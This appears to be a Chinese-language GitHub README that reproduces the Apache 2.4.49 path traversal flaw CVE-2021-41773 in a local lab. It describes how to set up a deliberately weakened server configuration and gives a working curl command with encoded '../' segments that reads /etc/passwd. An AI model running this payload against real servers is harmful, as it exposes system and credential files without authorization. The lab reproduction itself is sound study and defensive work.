fxdyx-a/CVE-2021-41773-POC
GitHub: fxdyx-a/CVE-2021-41773-POC
该项目复现了 Apache HTTP Server 2.4.49 的路径遍历漏洞(CVE-2021-41773),提供从环境搭建到攻击验证的完整流程。
Stars: 0 | Forks: 0
# CVE-2021-41773 漏洞复现报告
## 漏洞概述
- **CVE ID**: CVE-2021-41773
- **漏洞名称**: Apache HTTP Server 路径遍历漏洞
- **风险等级**: 高危 (CVSS 7.5)
- **影响版本**: Apache HTTP Server 2.4.49
- **漏洞描述**: Apache HTTP Server 2.4.49 版本存在路径规范化函数 `ap_normalize_path` 的实现缺陷,攻击者可通过构造含有 `%2e` 编码的特殊请求绕过访问控制,读取 Web 服务器上的任意文件。
## 环境搭建
- **操作系统**: Ubuntu 20.04 (虚拟机)
- **Web服务器**: Apache httpd 2.4.49 (手动编译安装)
- **靶场环境**: 独立运行,监听端口 8080
- **关键配置**:
- 修改 ` ` 的 `Require all denied` 为 `Require all granted`
- 添加 Alias `/vuln` 指向 `/tmp/vuln_dir` 并设置权限
## 漏洞复现
### 攻击命令
curl -v --path-as-is 'http://127.0.0.1:8080/vuln/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'
### 攻击截图


标签:Apache HTTP Server, CISA项目, Web安全, 应用安全, 漏洞复现, 蓝队分析, 路径遍历, 靶场环境